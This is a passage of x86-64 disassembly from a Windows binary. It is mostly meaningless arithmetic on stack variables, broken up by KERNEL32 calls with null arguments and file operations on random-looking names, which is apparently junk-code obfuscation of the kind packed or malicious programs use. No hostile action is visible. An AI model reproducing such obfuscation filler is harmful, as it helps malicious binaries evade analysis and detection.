mov dword [rsp + 0xd92c], eax
mov rax, qword [0x1402bf6a8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x19f90]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2678], ax
movsx eax, byte [rsp + 0x7af]
movsx ecx, byte [rsp + 0x820]
add eax, ecx
mov byte [rsp + 0x7ba], al
movzx eax, byte [rsp + 0x7e6]
mov rcx, qword [0x1402bf500]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x511], al
movzx eax, word [rsp + 0x38b4]
movzx ecx, word [rsp + 0x18e8]
or eax, ecx
mov word [0x1402ad848], ax
mov rax, qword [rsp + 0x19db8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xd7b0]
shr eax, cl
mov dword [rsp + 0xcff4], eax
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0xcce0], eax
lea rdx, [rsp + 0x19eb8]
mov rcx, qword [rsp + 0x19cb0]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0xcd2c], eax
mov rax, qword [rsp + 0x19f88]
mov eax, dword [rax]
mov dword [rsp + 0xd930], eax
mov rax, qword [rsp + 0x19d90]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x1a398]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x80d], al
movzx eax, word [rsp + 0x3810]
mov word [rsp + 0x3a20], ax
mov eax, dword [rsp + 0xcd1c]
mov ecx, dword [rsp + 0xd23c]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x19a30]
mov dword [rcx], eax
mov rax, qword [rsp + 0x19b08]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9058]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x19e68]
mov dword [rcx], eax
mov rax, qword [0x1402bf768]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8194]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xacd4], eax
mov rax, qword [rsp + 0x19988]
mov ecx, dword [rsp + 0xd004]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa728], eax
mov rax, qword [rsp + 0x19b78]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x19830]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x1402acb8a], al
movzx eax, word [rsp + 0x38bc]
mov word [rsp + 0x3a24], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov eax, dword [rsp + 0xa830]
mov ecx, dword [rsp + 0xd890]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xd174], eax
movzx ecx, word [rsp + 0x3954]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x35e8], ax
mov r9d, 2
xor r8d, r8d
mov edx, 0x897
mov rcx, qword [rsp + 0x1a3c8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xd4ac], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x1a770], rax
mov rcx, qword [rsp + 0x19bc8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0xd8ac], eax
mov eax, dword [rsp + 0xbcd4]
mov ecx, dword [rsp + 0xd774]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xd790], eax
xor r9d, r9d
lea r8, [rsp + 0x19718]
mov rdx, qword [rsp + 0x1a468]
mov rcx, qword [rsp + 0x1a100]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xd934], eax
mov rax, qword [0x1402bf5e0]
movzx eax, byte [rax]
mov byte [rsp + 0x867], al
mov rcx, qword [rsp + 0x1a6c8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0xd13c], eax
lea rcx, [rsp + 0x2d530]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
mov dword [rsp + 0xd938], eax
mov rax, qword [rsp + 0x19960]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x36a8]
and eax, ecx
mov rcx, qword [rsp + 0x19dd0]
mov word [rcx], ax
movzx eax, word [rsp + 0x35bc]
mov rcx, qword [rsp + 0x1a5a0]
movzx ecx, word [rcx]
imul eax, ecx
mov word [rsp + 0x2978], ax
movzx eax, byte [0x1402bf6b0]
mov rcx, qword [rsp + 0x1a4f0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x84d], al
mov rax, qword [rsp + 0x19f00]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x1a150]
mov qword [rsp + 0x1a778], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1a778]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x9a40], eax
mov rax, qword [rsp + 0x19f50]
mov eax, dword [rax]
mov dword [0x1402bf4d4], eax
lea rax, [rsp + 0xd844]
mov qword [rsp + 0x1a780], rax
mov rax, qword [rsp + 0x1a3a8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7fc0]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xd7b4], eax
mov eax, dword [rsp + 0xd360]
mov dword [rsp + 0xd93c], eax
movzx eax, word [rsp + 0x3650]
cdq
mov ecx, 0xc15
idiv ecx
mov rcx, qword [rsp + 0x1a1c0]
mov word [rcx], ax
mov rax, qword [rsp + 0x1a0b0]
movzx eax, byte [rax]
mov byte [rsp + 0x868], al
mov rax, qword [rsp + 0x19750]
mov rcx, qword [rsp + 0x19e90]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x1a6f0]
mov dword [rcx], eax
lea rdx, [rsp + 0x1a670]
mov rcx, qword [rsp + 0x19fc8]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0xd74c], eax
mov rax, qword [rsp + 0x19ba0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xa554]
shr eax, cl
mov rcx, qword [rsp + 0x19a90]
mov dword [rcx], eax
mov eax, dword [rsp + 0xb5dc]
mov dword [rsp + 0xd940], eax
mov rax, qword [rsp + 0x1a738]
mov rcx, qword [rsp + 0x19a18]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x1402ad84c], eax
mov rax, qword [rsp + 0x19948]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x196d8]
movzx ecx, byte [rcx]
imul eax, ecx
mov rcx, qword [rsp + 0x1a660]
mov byte [rcx], al
mov rax, qword [rsp + 0x19fe0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x1a5a0]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x23c4], ax
mov rax, qword [rsp + 0x1a118]
movsx eax, word [rax]
movsx ecx, word [0x1402ad7f0]
add eax, ecx
mov word [rsp + 0x1bc8], ax
mov rax, qword [rsp + 0x19c88]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x1a158]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x820], al
mov eax, dword [rsp + 0x9fc0]
mov dword [rsp + 0xd944], eax
mov rax, qword [rsp + 0x19c98]
mov ecx, dword [rsp + 0xd5f0]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xd1bc], eax
movzx eax, word [rsp + 0x36c8]
mov word [rsp + 0x3a28], ax
mov rax, qword [rsp + 0x19c70]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x7e1]
add eax, ecx
mov byte [rsp + 0x7ea], al
mov rax, qword [rsp + 0x1a680]
mov eax, dword [rax]
mov ecx, dword [0x1402bf6d8]
sub ecx, eax
mov eax, ecx
mov dword [0x1402ad720], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalCompact]
mov eax, dword [rsp + 0xcf0c]
mov ecx, dword [rsp + 0xd894]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xce08], eax
mov rax, qword [rsp + 0x19f20]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd670]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xbf24], eax
mov rax, qword [rsp + 0x1a0b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xb798]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x19e50]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x80f]
mov byte [rsp + 0x869], al
mov rax, qword [rsp + 0x19b50]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x37c8]
cdq
idiv ecx
mov word [rsp + 0x3744], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x196b8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xd774]
shl eax, cl
mov dword [rsp + 0xd864], eax
mov rax, qword [rsp + 0x19d10]
mov eax, dword [rax]
mov dword [rsp + 0xd948], eax
mov rax, qword [0x1402bf670]
mov ecx, dword [rsp + 0xd75c]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x19e18]
mov dword [rcx], eax
mov rax, qword [rsp + 0x1a738]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x1a140]
mov qword [rsp + 0x1a788], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1a788]
mov eax, dword [rax]
sar eax, cl
mov dword [0x1402ad850], eax
mov eax, dword [0x1402bf6e0]
mov ecx, dword [rsp + 0xd1bc]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x8d68], eax
mov rcx, qword [rsp + 0x196c8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x19890]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x3788]
add eax, ecx
mov word [rsp + 0x3708], ax
movzx eax, byte [rsp + 0x7e5]
mov byte [rsp + 0x86a], al
movzx eax, byte [rsp + 0x844]
mov rcx, qword [0x1402bf548]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x7f9], al
mov rax, qword [rsp + 0x1a010]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x19c40]
movzx ecx, word [rcx]
imul eax, ecx
mov word [rsp + 0x39dc], ax
mov eax, dword [rsp + 0x873c]
mov dword [rsp + 0xd94c], eax
mov rax, qword [0x1402bf628]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xce6c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x92c0], eax
mov rax, qword [rsp + 0x19be8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x3610]
add eax, ecx
mov word [rsp + 0x3568], ax
mov rax, qword [rsp + 0x1a6a8]
movzx eax, byte [rax]
movzx ecx, byte [0x1402bf660]
add eax, ecx
mov byte [0x1402acc06], al
mov eax, dword [rsp + 0xd074]
mov ecx, dword [rsp + 0x809c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xd058], eax
lea rcx, str.Sd_TJW_ZfCHU11
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x3938], ax
mov rax, qword [rsp + 0x1a518]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd318]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x1a780]
mov dword [rcx], eax
mov eax, dword [rsp + 0xd2b8]
mov dword [rsp + 0xd950], eax
mov rax, qword [rsp + 0x19ed0]
mov ecx, dword [rsp + 0xaf04]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x1a3a8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x19e00]
movzx eax, word [rax]
mov word [rsp + 0x3a2c], ax
movzx eax, byte [rsp + 0x796]
movzx ecx, byte [rsp + 0x7a8]
sub eax, ecx
mov byte [rsp + 0x79b], al
mov rax, qword [rsp + 0x196b8]
mov rcx, qword [rsp + 0x1a178]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xcdf8], eax
mov eax, dword [rsp + 0xd0c8]
mov dword [rsp + 0xd954], eax
mov r9d, 1
lea r8, [rsp + 0x1a468]
mov rdx, qword [rsp + 0x1a790]
mov rcx, qword [rsp + 0x19db0]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xd524], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetTapeStatus]
movsx eax, word [rsp + 0x31a4]
movsx ecx, word [0x1402bf630]
sub eax, ecx
mov word [0x1402bf4d8], ax
mov rax, qword [rsp + 0x1a270]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x1a158]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x4ab], al
mov rax, qword [rsp + 0x196d8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x3cc]
or eax, ecx
mov byte [rsp + 0x613], al
movzx eax, word [rsp + 0x2424]
mov rcx, qword [rsp + 0x19848]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x1b8c], ax
mov rax, qword [rsp + 0x1a250]
mov eax, dword [rax]
mov dword [rsp + 0xd958], eax
mov eax, dword [rsp + 0xd7b4]
movzx ecx, al
mov eax, dword [rsp + 0xd854]
shr eax, cl
mov dword [rsp + 0x9684], eax
mov rax, qword [rsp + 0x19d98]
mov ecx, dword [rsp + 0xd714]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xd2fc], eax
mov eax, dword [rsp + 0xd05c]
mov dword [rsp + 0xd95c], eax
mov eax, dword [rsp + 0xce08]
mov ecx, dword [rsp + 0xaf94]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xd91c], eax
movzx eax, word [rsp + 0x360c]
movzx ecx, word [rsp + 0x382c]
sub eax, ecx
mov word [rsp + 0x1f98], ax
mov rax, qword [rsp + 0x1a120]
movzx eax, byte [rax]
mov byte [0x1402bf4d0], al
mov rax, qword [0x1402bf670]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd34c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x9c48], eax
mov eax, dword [rsp + 0x87e8]
mov ecx, dword [rsp + 0xd3b8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xcf3c], eax
mov rax, qword [rsp + 0x19750]
mov eax, dword [rax]
mov dword [rsp + 0xd960], eax
mov rax, qword [rsp + 0x1a368]
mov ecx, dword [rsp + 0xd3d4]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xd2dc], eax
mov rax, qword [rsp + 0x1a318]
movzx eax, word [rax]
mov word [rsp + 0x3a30], ax
movzx eax, byte [rsp + 0x13f]
movzx ecx, byte [rsp + 0x785]
sub eax, ecx
mov rcx, qword [rsp + 0x1a1d0]
mov byte [rcx], al
movsx eax, word [rsp + 0x38fc]
movsx ecx, word [rsp + 0x37c0]
add eax, ecx
mov word [rsp + 0x1bc8], ax
movsx eax, byte [rsp + 0x3e7]
mov rcx, qword [rsp + 0x19c88]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x6ff], al
mov eax, dword [rsp + 0x92dc]
mov ecx, dword [rsp + 0xd820]
xor ecx, eax
mov eax, ecx
mov dword [0x1402ad73c], eax
mov eax, dword [rsp + 0xd1ac]
mov rcx, qword [rsp + 0x19c48]
mov qword [rsp + 0x1a798], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1a798]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0xd434], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [rsp + 0xd104], eax
movzx eax, byte [rsp + 0x73]
mov byte [rsp + 0x86b], al
movzx eax, word [rsp + 0x39e0]
movzx ecx, word [0x1402bf678]
shl eax, cl
mov word [rsp + 0x2aa4], ax
mov rax, qword [rsp + 0x19988]
mov rcx, qword [rsp + 0x19df8]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x9f14], eax
mov rax, qword [rsp + 0x1a420]
mov eax, dword [rax]
mov dword [rsp + 0xd964], eax
mov rax, qword [rsp + 0x1a260]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd5ec]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xd5d8], eax
mov rax, qword [rsp + 0x19a30]
mov ecx, dword [rsp + 0xb90c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9f18], eax
movzx eax, word [rsp + 0x1874]
mov rcx, qword [0x1402bf700]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x3688], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesExW]
lea rax, [rsp + 0x81b]
mov qword [0x1402bf4c8], rax
mov rax, qword [rsp + 0x1a250]
mov eax, dword [rax]
mov dword [rsp + 0xd968], eax
mov rax, qword [rsp + 0x1a050]
mov rcx, qword [rsp + 0x1a740]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xd5e8], eax
mov eax, dword [rsp + 0xd1bc]
mov ecx, dword [rsp + 0x9f18]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x19e78]
mov dword [rcx], eax
mov eax, dword [rsp + 0xc0fc]
mov dword [rsp + 0xd96c], eax
mov rax, qword [rsp + 0x19988]
mov ecx, dword [rsp + 0xd030]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x9f6c], eax
movsx eax, word [rsp + 0x1bc8]
movsx ecx, word [rsp + 0x3604]
sub eax, ecx
mov word [rsp + 0x2d90], ax
mov rax, qword [rsp + 0x198c8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x840]
add eax, ecx
mov byte [rsp + 0x789], al
movzx eax, word [rsp + 0x35c4]
movzx ecx, word [rsp + 0x39dc]
add eax, ecx
mov rcx, qword [rsp + 0x19e00]
mov word [rcx], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 1
mov edx, 0x40000000
lea rcx, str.wvW_r1dmxCXLTcyS
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x1a7a0], rax
movzx eax, byte [rsp + 0x7a1]
mov rcx, qword [rsp + 0x1a120]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1402acc2b], al
mov eax, dword [rsp + 0xd474]
mov dword [rsp + 0xd970], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
mov rax, qword [rsp + 0x1a478]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x19e68]
mov qword [rsp + 0x1a7a8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1a7a8]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x1a250]
mov dword [rcx], eax
mov rax, qword [rsp + 0x1a378]
movzx eax, word [rax]
mov word [rsp + 0x3a34], ax
mov rax, qword [rsp + 0x19fb0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x1a398]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x830], al
mov rax, qword [0x1402bf5a8]
mov rcx, qword [rsp + 0x1a588]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xd284], eax
mov eax, dword [rsp + 0xd914]
mov dword [rsp + 0xd974], eax
mov rax, qword [rsp + 0x19ca0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x1a780]
mov qword [rsp + 0x1a7b0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1a7b0]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0xc9c0], eax
mov rax, qword [rsp + 0x19f50]
mov eax, dword [rax]
mov ecx, dword [0x1402bf6bc]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x9c40], eax
mov rax, qword [rsp + 0x19950]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x38dc]
imul eax, ecx
mov rcx, qword [0x1402bf700]
mov word [rcx], ax
mov rax, qword [rsp + 0x19948]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x44f]
add eax, ecx
mov byte [rsp + 0x813], al
mov eax, dword [rsp + 0xd328]
mov ecx, dword [rsp + 0xa7c4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9490], eax
mov rax, qword [rsp + 0x19cf8]
mov eax, dword [rax]
mov dword [rsp + 0xd978], eax
movsx eax, byte [0x1402acb46]
movsx ecx, byte [rsp + 0x69c]
sub eax, ecx
mov byte [rsp + 0x7ad], al
movzx eax, word [rsp + 0x2b7c]
mov word [rsp + 0x3a38], ax
mov rax, qword [rsp + 0x19ce8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x19fe0]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x1a240]
mov word [rcx], ax
lea rcx, [rsp + 0x2d410]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
mov dword [rsp + 0xd644], eax
movzx eax, byte [0x1402acbcf]
mov rcx, qword [rsp + 0x1a6b8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x474], al
mov rax, qword [rsp + 0x19f58]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd6a0]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xd140], eax
mov rax, qword [rsp + 0x1a210]
mov ecx, dword [rsp + 0xd8dc]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x1402ad77c], eax
mov rax, qword [rsp + 0x1a000]
mov ecx, dword [rsp + 0x8194]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xcf1c], eax
mov eax, dword [rsp + 0xd34c]
mov dword [rsp + 0xd97c], eax
mov rax, qword [0x1402bf750]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xc6c4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xd124], eax
lea rax, [rsp + 0x3664]
mov qword [rsp + 0x1a7b8], rax
movzx eax, byte [rsp + 0x85b]
movzx ecx, byte [rsp + 0x7ea]
sar eax, cl
mov byte [rsp + 0x81b], al
mov rax, qword [rsp + 0x199c8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd2b8]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xd5f8], eax
mov eax, dword [rsp + 0xd388]
mov dword [rsp + 0xd980], eax
mov eax, dword [rsp + 0xd178]
movzx ecx, al
mov eax, dword [rsp + 0xcf50]
shl eax, cl
mov dword [rsp + 0xcf74], eax
mov rax, qword [rsp + 0x19a60]
mov eax, dword [rax]
mov ecx, dword [0x1402ad7e8]
xor ecx, eax
mov eax, ecx
mov dword [0x1402ad854], eax
movzx eax, word [rsp + 0x35bc]
movzx ecx, word [rsp + 0x22dc]
imul eax, ecx
mov word [rsp + 0x195c], ax
mov rax, qword [rsp + 0x1a188]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x7b4]
and eax, ecx
mov byte [rsp + 0x813], al
mov rax, qword [rsp + 0x19940]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x30d4]
sub eax, ecx
mov word [rsp + 0x2d90], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MulDiv]
mov rax, qword [rsp + 0x1a078]
movzx eax, byte [rax]
mov byte [rsp + 0x86c], al
mov rax, qword [rsp + 0x19728]
mov ecx, dword [rsp + 0xb798]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xd79c], eax
mov eax, dword [rsp + 0xd5a8]
mov dword [rsp + 0xd984], eax
movzx eax, byte [rsp + 0x7f7]
movzx ecx, byte [rsp + 0x38b]
add eax, ecx
mov byte [rsp + 0x7a4], al
call qword [sym.imp.KERNEL32.dll_AreFileApisANSI]
mov dword [rsp + 0xd988], eax
mov edx, 0x2b851d
mov rcx, qword [rsp + 0x1a768]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0xcfb4], eax
lea rax, [rsp + 0x20e4]
mov qword [rsp + 0x1a7c0], rax
mov rax, qword [0x1402bf670]
mov rcx, qword [rsp + 0x1a410]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [0x1402bf4e0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x1a3e0]
mov ecx, dword [rsp + 0xd264]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x19a70]
mov dword [rcx], eax
mov rax, qword [rsp + 0x19bd8]
mov eax, dword [rax]
mov ecx, dword [0x1402ad7e8]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x1a0e8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x1a3a8]
mov ecx, dword [rsp + 0x9de4]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xa050], eax
mov rax, qword [rsp + 0x1a688]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x19a08]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xe4], al
lea rax, [rsp + 0x2a04]
mov qword [rsp + 0x1a7c8], rax
mov eax, dword [rsp + 0xd398]
mov rcx, qword [rsp + 0x1a000]
mov qword [rsp + 0x1a7d0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1a7d0]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0xd084], eax
mov eax, dword [rsp + 0xd260]
movzx ecx, al
mov eax, dword [rsp + 0xd170]
shl eax, cl
mov dword [rsp + 0xac30], eax
mov eax, dword [rsp + 0x8af4]
mov dword [rsp + 0xd98c], eax
mov eax, dword [rsp + 0xd358]
mov dword [0x1402bf4c0], eax
mov rax, qword [rsp + 0x1a428]
mov rcx, qword [rsp + 0x1a050]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xd024], eax
mov rax, qword [0x1402bf728]
movzx eax, word [rax]
mov word [rsp + 0x3a3c], ax
mov rax, qword [rsp + 0x1a220]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x475]
or eax, ecx
mov byte [rsp + 0x7c8], al
mov rax, qword [rsp + 0x1a2d8]
movzx eax, byte [rax]
movzx ecx, byte [0x1402acbef]
sub eax, ecx
mov byte [rsp + 0x806], al
movzx eax, word [rsp + 0x3174]
mov word [rsp + 0x3a40], ax
mov rax, qword [rsp + 0x19710]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x91b4]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xd640], eax
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0xd104], eax
mov rax, qword [rsp + 0x19b40]
mov ecx, dword [0x1402bf55c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9714], eax
movzx eax, word [rsp + 0x387c]
mov rcx, qword [rsp + 0x1a350]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1dcc], ax
movzx eax, byte [rsp + 0x7d4]
mov rcx, qword [rsp + 0x1a0a0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x1402acc32], al
mov eax, dword [rsp + 0xd420]
mov ecx, dword [rsp + 0xc8f4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xaf04], eax
mov edx, 0x21dc
mov rcx, qword [rsp + 0x199b8]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0xd990], eax
mov rax, qword [rsp + 0x198f0]
mov eax, dword [rax]
mov dword [rsp + 0xd994], eax
mov rax, qword [rsp + 0x19e90]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xce88]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xd874], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [rsp + 0xce84], eax
mov rax, qword [0x1402bf760]
mov eax, dword [rax]
mov dword [rsp + 0xd998], eax
mov rcx, qword [rsp + 0x19d88]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0xd040], eax
movzx eax, byte [rsp + 0x1fb]
movzx ecx, byte [rsp + 0x7e4]
add eax, ecx
mov rcx, qword [rsp + 0x1a5c0]
mov byte [rcx], al
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFiberEx]
mov rax, qword [rsp + 0x1a0d8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x180c]
sub eax, ecx
mov word [rsp + 0x2a4c], ax
mov rax, qword [rsp + 0x1a008]
mov rcx, qword [rsp + 0x19f50]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xd8e4], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 2
mov edx, 0x40000000
lea rcx, str.oTTuTkdWdVs1aAWuU
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x1a7d8], rax
mov eax, dword [rsp + 0x9a04]
mov rcx, qword [rsp + 0x19c30]
mov qword [rsp + 0x1a7e0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1a7e0]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xb35c], eax
lea rax, [rsp + 0x807]
mov qword [0x1402bf4b8], rax
lea rax, [rsp + 0x3620]
mov qword [rsp + 0x1a7e8], rax
mov rax, qword [rsp + 0x1a618]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x3834]
sar eax, cl
mov word [rsp + 0x20c8], ax
mov rax, qword [rsp + 0x19b78]
movzx eax, byte [rax]
mov byte [rsp + 0x86d], al
mov rax, qword [rsp + 0x19710]
mov rcx, qword [rsp + 0x1a1b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
